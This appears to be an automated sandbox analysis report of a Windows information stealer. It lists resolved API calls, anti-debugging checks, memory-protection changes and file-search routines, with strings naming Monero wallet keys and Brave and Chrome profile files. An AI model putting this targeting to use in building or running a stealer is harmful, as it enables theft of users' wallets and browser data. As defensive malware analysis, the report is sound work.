GetProcAddress.KERNEL32(75900000,01750828), ref: 00EF98D2
GetProcAddress.KERNEL32(75900000,01750558), ref: 00EF98EA
GetProcAddress.KERNEL32(75900000,01750570), ref: 00EF9903
GetProcAddress.KERNEL32(75900000,017589C0), ref: 00EF991B
GetProcAddress.KERNEL32(75900000,01746340), ref: 00EF9933
GetProcAddress.KERNEL32(75900000,01746500), ref: 00EF994C
GetProcAddress.KERNEL32(75900000,01750708), ref: 00EF9964
GetProcAddress.KERNEL32(75900000,017505B8), ref: 00EF997C
GetProcAddress.KERNEL32(75900000,01750600), ref: 00EF9995
GetProcAddress.KERNEL32(75900000,01750630), ref: 00EF99AD
GetProcAddress.KERNEL32(75900000,017463A0), ref: 00EF99C5
GetProcAddress.KERNEL32(75900000,01750690), ref: 00EF99DE
GetProcAddress.KERNEL32(75900000,017506C0), ref: 00EF99F6
GetProcAddress.KERNEL32(75900000,017465C0), ref: 00EF9A0E
GetProcAddress.KERNEL32(75900000,017506D8), ref: 00EF9A27
GetProcAddress.KERNEL32(75900000,017508B8), ref: 00EF9A3F
GetProcAddress.KERNEL32(75900000,017462E0), ref: 00EF9A57
GetProcAddress.KERNEL32(75900000,017508D0), ref: 00EF9A70
GetProcAddress.KERNEL32(75900000,01746520), ref: 00EF9A88
LoadLibraryA.KERNEL32(01750900,?,00EF6A00), ref: 00EF9A9A
LoadLibraryA.KERNEL32(017508A0,?,00EF6A00), ref: 00EF9AAB
LoadLibraryA.KERNEL32(017508E8,?,00EF6A00), ref: 00EF9ABD
LoadLibraryA.KERNEL32(01750918,?,00EF6A00), ref: 00EF9ACF
LoadLibraryA.KERNEL32(01750858,?,00EF6A00), ref: 00EF9AE0
GetProcAddress.KERNEL32(75070000,01750888), ref: 00EF9B02
GetProcAddress.KERNEL32(75FD0000,01750870), ref: 00EF9B23
GetProcAddress.KERNEL32(75FD0000,01758FB8), ref: 00EF9B3B
GetProcAddress.KERNEL32(75A50000,01758EF8), ref: 00EF9B5D
GetProcAddress.KERNEL32(74E50000,017463E0), ref: 00EF9B7E
GetProcAddress.KERNEL32(76E80000,017589D0), ref: 00EF9B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00EF9BB6

Strings

NtQueryInformationProcess, xrefs: 00EF9BAA

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: cb34b070d0d4b620791b477185652954cd4af618fae50acacc67131238996088
Instruction ID: cac5d8da244e654139a4d5ea8325ca203d9d01ec4386d6b2bfd3a6c9e2b41dca
Opcode Fuzzy Hash: cb34b070d0d4b620791b477185652954cd4af618fae50acacc67131238996088
Instruction Fuzzy Hash: FFA12BB5500640BFD37CDFA8F688A6637F9FB4C202714453AE626C3A4CE67A94E1CB54

Function 00EE45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00EE460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00EE479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EE474F

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 16137ea92d32165c15b1b210d501e9a175b17940780dcc9d64928b95ee77884e
Instruction ID: 1492cf43fb549f50069f79187aeba32296b6c82908858a5af06c7e725e9c180e
Opcode Fuzzy Hash: 16137ea92d32165c15b1b210d501e9a175b17940780dcc9d64928b95ee77884e
Instruction Fuzzy Hash: 7D41E760BDB68CEAEE25B7E4AC4EEDF7A566F46F40F50D044A910522C4CFF0A9047917

Function 00EEBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EFA920: lstrcpy.KERNEL32(00000000,?), ref: 00EFA972
Part of subcall function 00EFA920: lstrcat.KERNEL32(00000000), ref: 00EFA982

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

FindFirstFileA.KERNEL32(00000000,?,00F00B32,00F00B2B,00000000,?,?,?,00F013F4,00F00B2A), ref: 00EEBEF5
StrCmpCA.SHLWAPI(?,00F013F8), ref: 00EEBF4D
StrCmpCA.SHLWAPI(?,00F013FC), ref: 00EEBF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 00EEC7BF
FindClose.KERNEL32(000000FF), ref: 00EEC7D1

Strings

\Brave\Preferences, xrefs: 00EEC1DB
Brave, xrefs: 00EEC102
Preferences, xrefs: 00EEC11E
Google Chrome, xrefs: 00EEC634

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: f134480d280ffeb66303b41a28802cf3072888b3bf2305c7dbbd0a86c33a877e
Instruction ID: d18987ebf0c518e2d6e0cb5eee3fc48f2e76285b2b2a656f10fe1eeb66487ab3
Opcode Fuzzy Hash: f134480d280ffeb66303b41a28802cf3072888b3bf2305c7dbbd0a86c33a877e
Instruction Fuzzy Hash: 7E4255B250014CA7CB18FF60DD56DFD73B8AF84300F449578B60AB6195EE74AB49CB92

Function 6C7B35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C83F688,00001000), ref: 6C7B35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C7B35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C7B35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C7B363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C7B369F
__aulldiv.LIBCMT ref: 6C7B36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C7B3773
EnterCriticalSection.KERNEL32(6C83F688), ref: 6C7B377E
LeaveCriticalSection.KERNEL32(6C83F688), ref: 6C7B37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C7B37C4
EnterCriticalSection.KERNEL32(6C83F688), ref: 6C7B37CB
LeaveCriticalSection.KERNEL32(6C83F688), ref: 6C7B3801
__aulldiv.LIBCMT ref: 6C7B3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C7B3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C7B3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C7B394C

Strings

GTC, xrefs: 6C7B3912
GenuntelineI, xrefs: 6C7B3639
AuthcAMDenti, xrefs: 6C7B3946
QPC, xrefs: 6C7B38FC
MOZ_TIMESTAMP_MODE, xrefs: 6C7B35DB

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: e76ffe40396481026ba2b62b417efc83b3153857c5d7952fe682fdac07358577
Instruction ID: e20c8ebf0ee3472fcbadfab92db34699105b0c000252bedaf713f9e121d1e704
Opcode Fuzzy Hash: e76ffe40396481026ba2b62b417efc83b3153857c5d7952fe682fdac07358577
Instruction Fuzzy Hash: 36B191B1B092109BDB28DF69C54461A7BF5AB99708F049D3DE89DD3350EB709C44CBC5

Function 00EF4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00EF492C
FindFirstFileA.KERNEL32(?,?), ref: 00EF4943
StrCmpCA.SHLWAPI(?,00F00FDC), ref: 00EF4971
StrCmpCA.SHLWAPI(?,00F00FE0), ref: 00EF4987
FindNextFileA.KERNEL32(000000FF,?), ref: 00EF4B7D
FindClose.KERNEL32(000000FF), ref: 00EF4B92

Strings

%s\%s, xrefs: 00EF49FB
%s\*, xrefs: 00EF4920
%s\%s, xrefs: 00EF49A4

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 116a42d625e46221749623a78bda503a8c2055109904b6a0bd55f7e0523b0746
Instruction ID: 7ec375efb67ba399207e4d8489f2a4ead8080fb14898861abe4838f52adc358d
Opcode Fuzzy Hash: 116a42d625e46221749623a78bda503a8c2055109904b6a0bd55f7e0523b0746
Instruction Fuzzy Hash: C76135B1500219ABCB34EFA0EC45FFA73BCBF88701F004598E619A6185EB71DB959F91

Function 00EF3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00EF3EC3
FindFirstFileA.KERNEL32(?,?), ref: 00EF3EDA
StrCmpCA.SHLWAPI(?,00F00FAC), ref: 00EF3F08
StrCmpCA.SHLWAPI(?,00F00FB0), ref: 00EF3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00EF406C
FindClose.KERNEL32(000000FF), ref: 00EF4081

Strings

%s\%s, xrefs: 00EF3EB7

